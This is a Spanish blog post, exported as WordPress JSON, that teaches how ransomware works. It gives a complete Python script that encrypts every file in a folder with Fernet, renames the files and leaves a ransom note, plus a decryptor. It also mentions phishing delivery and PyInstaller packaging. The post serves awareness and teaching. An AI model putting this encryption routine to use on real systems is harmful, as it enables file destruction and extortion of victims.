{"id":1047,"date":"2021-01-11T17:47:46","date_gmt":"2021-01-11T16:47:46","guid":{"rendered":"https:\/\/blog.tiraquelibras.com\/?p=1047"},"modified":"2021-01-11T17:54:47","modified_gmt":"2021-01-11T16:54:47","slug":"entendiendo-como-cifra-y-descifra-un-ransomware-con-python","status":"publish","type":"post","link":"https:\/\/blog.tiraquelibras.com\/?p=1047","title":{"rendered":"Entendiendo como cifra y descifra un Ransomware con Python"},"content":{"rendered":"\n<p>Una de las mayores amenazas a las que se exponen usuarios y empresas en sus equipos inform\u00e1ticos es la denominada <strong>Ramsomware<\/strong>, la cual cifra los archivos del disco solicitando un rescate para su descifrado. La ejecuci\u00f3n de esta amenaza puede aprovechar cualquier vulnerabilidad un sistema o programa, o simplemente haciendo que el usuario ejecute un archivo que contenga el programa de cifrado, por ejemplo, envi\u00e1ndole un <em>Phishing<\/em>.<\/p>\n\n\n\n<p>Existen proyectos en donde se publican como solucionar la cat\u00e1strofe que algunos de estos <em>Malwares<\/em> provocan, orientando al usuario final en qu\u00e9 herramientas utilizar para el descifrado de archivos. Un ejemplo lo tenemos con la p\u00e1gina de <a href=\"https:\/\/www.nomoreransom.org\/\" class=\"external external_icon\" rel=\"nofollow\" target=\"_blank\">nomoreransom.org<\/a>.<\/p>\n\n\n\n<p>Es importante entender c\u00f3mo funciona el mecanismo de cifrado para comprender la amenaza a la que estamos expuestos, utilizando el lenguaje <strong>Python<\/strong>. En esto se basa la presente entrada, aunque existen otros m\u00e9todos y lenguajes para conseguir materializar la amenaza.<\/p>\n\n\n\n<p><strong><span class=\"has-inline-color has-vivid-red-color\">Esta entrada ha sido creada \u00fanicamente con fines educativos y no para el uso malintencionado o delictivo de su informaci\u00f3n. Es responsabilidad del lector hacer buen uso de esta informaci\u00f3n.<\/span><\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_76 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Tabla de contenidos<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69f9e20a43d29\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69f9e20a43d29\"  aria-label=\"Alternar\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=1047\/#Entorno\"  rel=\"nofollow\" target=\"_blank\">Entorno<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=1047\/#Instalar_libreria_Cryptography\"  rel=\"nofollow\" target=\"_blank\">Instalar librer\u00eda Cryptography<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=1047\/#Programa_de_cifrado\"  rel=\"nofollow\" target=\"_blank\">Programa de cifrado<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=1047\/#Programa_de_descrifrado\"  rel=\"nofollow\" target=\"_blank\">Programa de descrifrado<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=1047\/#Conclusiones\"  rel=\"nofollow\" target=\"_blank\">Conclusiones<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=1047\/#Enlaces\"  rel=\"nofollow\" target=\"_blank\">Enlaces<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Entorno\"><\/span>Entorno<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>El entorno en donde vamos a simular como funciona un Ramsomware contiene:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Archivo de cifrado (<em>test_encrypt.py<\/em>).<\/li><li>Archivo de descifrado (<em>test_decrypt.py<\/em>).<\/li><li>Directorio con tres archivos (<em>test_files<\/em>):<ul><li>Un arvhivo de texto (<em>.txt<\/em>).<\/li><li>Un archivo de imagen (<em>.jpg<\/em>).<\/li><li>Un archivo comprimido (<em>.7z<\/em>).<\/li><\/ul><\/li><li>Directorio de backup con los archivos anteriores (<em>orig_files<\/em>).<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img loading=\"lazy\" decoding=\"async\" width=\"794\" height=\"167\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2021\/01\/1.png\" alt=\"\" class=\"wp-image-1048\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"790\" height=\"123\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2021\/01\/2.png\" alt=\"\" class=\"wp-image-1049\"\/><\/figure>\n\n\n\n<p><strong><span class=\"has-inline-color has-vivid-red-color\">ADVERTENCIA<\/span><\/strong>, Utiliza archivos que no sean importantes o de pruebas, o incluso que sean una copia de otros archivos originales, ya que es posible que durante las pruebas tengas que recuperar estos para empezar desde el comienzo.<\/p>\n\n\n\n<p>Es recomendable que hagamos uso de un <em>entorno virtual de Python<\/em> para instalar los paquetes necesarios y ejecutar los comandos aislado del sistema. Para ello te dejo la entrada en donde explico como crear estos entornos <a href=\"https:\/\/blog.tiraquelibras.com\/?p=723\" class=\"external external_icon\" rel=\"nofollow\" target=\"_blank\">aqu\u00ed<\/a>.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Instalar_libreria_Cryptography\"><\/span>Instalar librer\u00eda Cryptography<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Dentro de nuestro entorno de <em>Python<\/em> debemos de instalar la librer\u00eda <strong><em>cryptography<\/em><\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">pip install cryptography<\/code><\/pre>\n\n\n\n<p>M\u00e1s informaci\u00f3n en su p\u00e1gina <a href=\"https:\/\/cryptography.io\/en\/latest\/\" class=\"external external_icon\" rel=\"nofollow\" target=\"_blank\">oficial<\/a> o en su p\u00e1gina de <a href=\"https:\/\/pypi.org\/project\/cryptography\/\" class=\"external external_icon\" rel=\"nofollow\" target=\"_blank\">PyPi<\/a>.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Programa_de_cifrado\"><\/span>Programa de cifrado<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>A continuaci\u00f3n os muestro el programa de cifrado junto con los comentarios en donde se explica en detalle lo que se ejecuta paso por paso:<\/p>\n\n\n\n<pre title=\"crypt\" class=\"wp-block-code\"><code lang=\"python\" class=\"language-python\">from cryptography.fernet import Fernet\nimport os\n\n\n# Extensi\u00f3n para los archivos encriptados.\nextension = 'tiraquelibras'\n\n\n# Funci\u00f3n para generar la clave de cifrado y almacenada en un archivo en el directorio local.\ndef generar_key():\n    key = Fernet.generate_key()\n    with open('key.key', 'wb') as key_file:\n        key_file.write(key)\n\n\n# Funci\u00f3n para obtener la clave de cifrado del archivo local.\ndef cargar_key():\n    return open('key.key', 'rb').read()\n\n\n# Funci\u00f3n para encriptar los archivos y su renombramiento con la extensi\u00f3n personalizada.\ndef encrypt(items, key):\n    f = Fernet(key)\n    for item in items:\n        with open(item, 'rb') as file:\n            file_data = file.read()\n\n        encrypted_data = f.encrypt(file_data)\n\n        with open(item, 'wb') as file:\n            file.write(encrypted_data)\n\n        os.rename(item, item + '.' + extension)\n\n\nif __name__ == '__main__':\n\n    try:\n        # Directorio que vamos a cifrar.\n        path_to_encrypt = 'C:\\\\Users\\\\xxxxxx\\\\Documents\\\\Python Scripts\\\\Ransomware\\\\test_files\\\\'\n\n        # Obtenemos los archivos del directorio a cifrar  los guardamos en una lista.\n        items = os.listdir(path_to_encrypt)\n        full_path = [path_to_encrypt + '\\\\' + item for item in items]\n\n        # Generaci\u00f3n la clave de cifrado y se almacena en una variable.\n        generar_key()\n        key = cargar_key()\n\n        # Encriptaci\u00f3n de los archivos listados.\n        encrypt(full_path, key)\n\n        # Mensaje para pedir el rescate guardado en el equipo atacado, normalmente en el escritorio.\n        with open( path_to_encrypt + '\\\\README.txt', 'w') as file:\n            file.write('Ficheros encriptados.\\nSe suele pedir un rescate para el desencriptado.')\n\n    except Exception as e:\n        print(e)<\/code><\/pre>\n\n\n\n<p>El programa consta de:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Extensi\u00f3n personalizada para renombrar cada archivo cifrado (variable <em>extension<\/em>).<\/li><li>Fuciones:<ul><li><em>generar_key<\/em>: generar la contrase\u00f1a de cifrado.<\/li><li><em>cargar_key<\/em>: obtener la contrase\u00f1a de cifrado.<\/li><li><em>encrypt<\/em>: encriptar y renombrar cada archivo cifrado.<\/li><\/ul><\/li><li>Programa:<ul><li>Primero indicamos el directorio en donde se encuentran los archivos a cifrar (variable <em>path_to_encrypt<\/em>).<\/li><li>Listamos los archivos a cifrar y los guardamos en una lista (variables <em>items<\/em> y <em>full_path<\/em>).<\/li><li>Generamos la contrase\u00f1a de cifrado y la guardamos en una variable (variable <em>key<\/em>).<\/li><li>Ciframos los archivos y los renombramos.<\/li><li>Creamos el t\u00edpico archivo de texto solicitando el rescate.<\/li><\/ul><\/li><\/ul>\n\n\n\n<p>Ejecutando este programa los archivos quedar\u00edan cifrados, no pudiendo ser abiertos ni eliminando la extensi\u00f3n agregada personalizada:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"389\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2021\/01\/3-1024x389.png\" alt=\"\" class=\"wp-image-1050\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"875\" height=\"430\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2021\/01\/4.png\" alt=\"\" class=\"wp-image-1051\"\/><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Programa_de_descrifrado\"><\/span>Programa de descrifrado<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>A continuaci\u00f3n os muestro el programa de descifrado junto con los comentarios en donde se explica en detalle lo que se ejecuta paso por paso:<\/p>\n\n\n\n<pre title=\"decrypt\" class=\"wp-block-code\"><code lang=\"python\" class=\"language-python\">from cryptography.fernet import Fernet\nimport os\n\n\n# Extensi\u00f3n para los archivos encriptados.\nextension = 'tiraquelibras'\n\n\n# Funci\u00f3n para obtener la contrase\u00f1a utiliada en el cifrado de los archivos, y almacenada en un archivo en la m\u00e1quina atacada.\ndef cargar_key():\n    return open('key.key', 'rb').read()\n\n\n# Funci\u00f3n para descifrar los archivos afectados y elimionaci\u00f3n de la extensi\u00f3n agregada durante el cifrado.\ndef decrypt(items, key):\n    f = Fernet(key)\n    for item in items:\n        if item.endswith(extension):\n\n            item_orig = item.rsplit('.', 1)[0]\n            print(item)\n            os.rename(item, item_orig)\n            item = item_orig\n\n            with open(item, 'rb') as file:\n                encrypted_data = file.read()\n\n            decrypted_data = f.decrypt(encrypted_data)\n\n            with open(item, 'wb') as file:\n                file.write(decrypted_data)\n\n        else:\n            print('Error decrypting \"%s\"' %str(item))\n\n\nif __name__ == '__main__':\n\n    try:\n\n        # Directorio que vamos a cifrar.\n        path_to_decrypt = 'C:\\\\Users\\\\xxxxxx\\\\Documents\\\\Python Scripts\\\\Ransomware\\\\test_files\\\\'\n\n        # Eliminamos el archivo t\u00edpico con el mensaje solicitando el rescate.\n        os.remove(path_to_decrypt + '\\\\README.txt')\n\n        # Obtener los archvios del directorio para su descifrado y se guarda en una lista.\n        items = os.listdir(path_to_decrypt)\n        full_path = [path_to_decrypt + '\\\\' + item for item in items]\n\n        # Obtener la contrase\u00f1a utiliada para el cifrado.\n        key = cargar_key()\n\n        # Desciframos los archivos afectados.\n        decrypt(full_path, key)\n\n    except Exception as e:\n        print(e)<\/code><\/pre>\n\n\n\n<p>El programa consta de:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Extensi\u00f3n personalizada para renombrar cada archivo cifrado (variable <em>extension<\/em>).<\/li><li>Fuciones:<ul><li><em>cargar_key<\/em>: obtener la contrase\u00f1a de cifrado.<\/li><li><em>decrypt<\/em>: encriptar y renombrar cada archivo cifrado.<\/li><\/ul><\/li><li>Programa:<ul><li>Primero indicamos el directorio en donde se encuentran los archivos a cifrar (variable <em>path_to_decrypt<\/em>).<\/li><li>Eliminamos el mensaje con el rescate generado durante el cifrado.<\/li><li>Listamos los archivos a descifrar y los guardamos en una lista (variables <em>items<\/em> y <em>full_path<\/em>).<\/li><li>Obtenemos la contrase\u00f1a utilizada para el cifrado de los archivos y lo guardamos en una variable (variable <em>key<\/em>).<\/li><li>Desciframos los archivos y los renombramos, eliminando la extensi\u00f3n agregada.<\/li><\/ul><\/li><\/ul>\n\n\n\n<p>En estos momentos los archivos ya estar\u00edan descifrados y accesibles:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"875\" height=\"561\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2021\/01\/5.png\" alt=\"\" class=\"wp-image-1052\"\/><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusiones\"><\/span>Conclusiones<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Es tremendamente sencillo cifrar los archivos de un disco ejecutando un simple programa como el que acabamos de ver, bien aprovechando una vulnerabilidad dentro del equipo atacado o haciendo que el usuario ejecute un programa, envi\u00e1ndole un <em>Phishing<\/em> por ejemplo.<\/p>\n\n\n\n<p>No es necesario tener instalado <em>Python<\/em> en el equipo atacado, ya que se puede generar un archivo ejecutable <em>.exe<\/em> con librer\u00edas como <em>PyInstaller<\/em>.<\/p>\n\n\n\n<p>Es muy importante que dentro de la cultura de los usuarios conectados a Internet se encuentren conceptos y pol\u00edticas de Ciberseguridad para evitar que este tipo de amenazas lleguen a materializarse.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Enlaces\"><\/span>Enlaces<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Video relacionado en el canal de <a href=\"https:\/\/www.youtube.com\/watch?v=BxjQBBV7Vks&amp;t=121s\" class=\"external external_icon\" rel=\"nofollow\" target=\"_blank\">Errodringer<\/a>.<\/p>\n\n\n\n<p>P\u00e1gina oficial <a href=\"https:\/\/www.nomoreransom.org\/\" class=\"external external_icon\" rel=\"nofollow\" target=\"_blank\">nomoreramsom<\/a>.<\/p>\n\n\n\n<p>Cryptography <a href=\"https:\/\/cryptography.io\/en\/latest\/\" class=\"external external_icon\" rel=\"nofollow\" target=\"_blank\">oficial<\/a>.<\/p>\n\n\n\n<p>Cryptography <a href=\"https:\/\/pypi.org\/project\/cryptography\/\" class=\"external external_icon\" rel=\"nofollow\" target=\"_blank\">PyPi<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Una de las mayores amenazas a las que se exponen usuarios y empresas en sus equipos inform\u00e1ticos es la denominada Ramsomware, la cual cifra los<span class=\"read-more-link\"><a class=\"read-more\" href=\"https:\/\/blog.tiraquelibras.com\/?p=1047\">Read More<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":1054,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,6],"tags":[118,117,116],"class_list":["post-1047","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ciberseguridad","category-programacion","tag-cifrar","tag-encriptacion","tag-ramsomware"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/posts\/1047","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1047"}],"version-history":[{"count":0,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/posts\/1047\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/media\/1054"}],"wp:attachment":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1047"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1047"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1047"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}